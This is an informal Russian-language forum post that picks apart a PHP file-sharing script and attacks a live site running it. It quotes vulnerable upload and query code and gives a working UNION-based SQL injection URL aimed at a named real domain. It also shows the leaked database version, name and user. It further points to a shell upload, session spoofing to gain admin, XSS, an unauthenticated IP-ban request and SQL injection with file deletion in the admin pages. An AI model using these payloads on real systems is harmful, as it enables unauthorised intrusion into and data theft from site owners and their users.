Ну вон оно
process-multi-upload.php
какая-то там строка
$contenttype = $_FILES['Filedata']['type'];
Тама ещё по ходу и скуля....
view-file.html
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'file'[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]$file_ex[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"."[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$file_ex[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];
...
[/COLOR][COLOR="#0000BB"]$get_file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT dateadded, originalfilename, filename, filesize, password, description, originalext, totalviews, status FROM files WHERE id = "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]" LIMIT 1"[/COLOR][COLOR="#007700"]);
[/COLOR][/COLOR]
но мне лень щупать да и зачем если шелл льётся
Любопытство сильнее лени
view-file.html?file=-1%20UNION%20SELECT%20null,null,null,null,null,conc at_ws(0x3a,version(),database(),user()),null,null, null%23
Код:
Code:
http://www.sharefile.org/view-file.html?file=-1%20UNION%20SELECT%20null,null,null,null,null,concat_ws(0x3a,version(),database(),user()),null,null,null%23
Код:
Code:
Comments: 5.0.67-community:admin_sharefileorg:admin_juzi@localhost
вот так например
А ещё там есть проверка на
$_SESSION[sess_isadmin] == 'yes'
через соседей если подменим сессию, будем одминами...
Но нафиг надо
А ещё при register_globals в footer.php XSS
$site_url,$site_name,$theme_path
(нет, не инклуд... по крайней мере не в этом файле)
Всё, я срочно убежал гамать
таки вернулся...
admin-ban-ip.html
нет проверки на админство... ну он где-то есть, но я не стал искать, в скрипт сначала делает, потом проверяет
Ну короче
admin-ban-ip.html?banipsubmit=1&banip=1.1.1.1 - забаним ip 1.1.1.1
будет редирект, но IP Добавится
открыл следующий файл - скуля... и удаление файлов
admin-home.html?d={SQL или ID файла} - удалит ID и SQL Inj
не, это уже извращенство, смысла щупать нет, там всё дырявое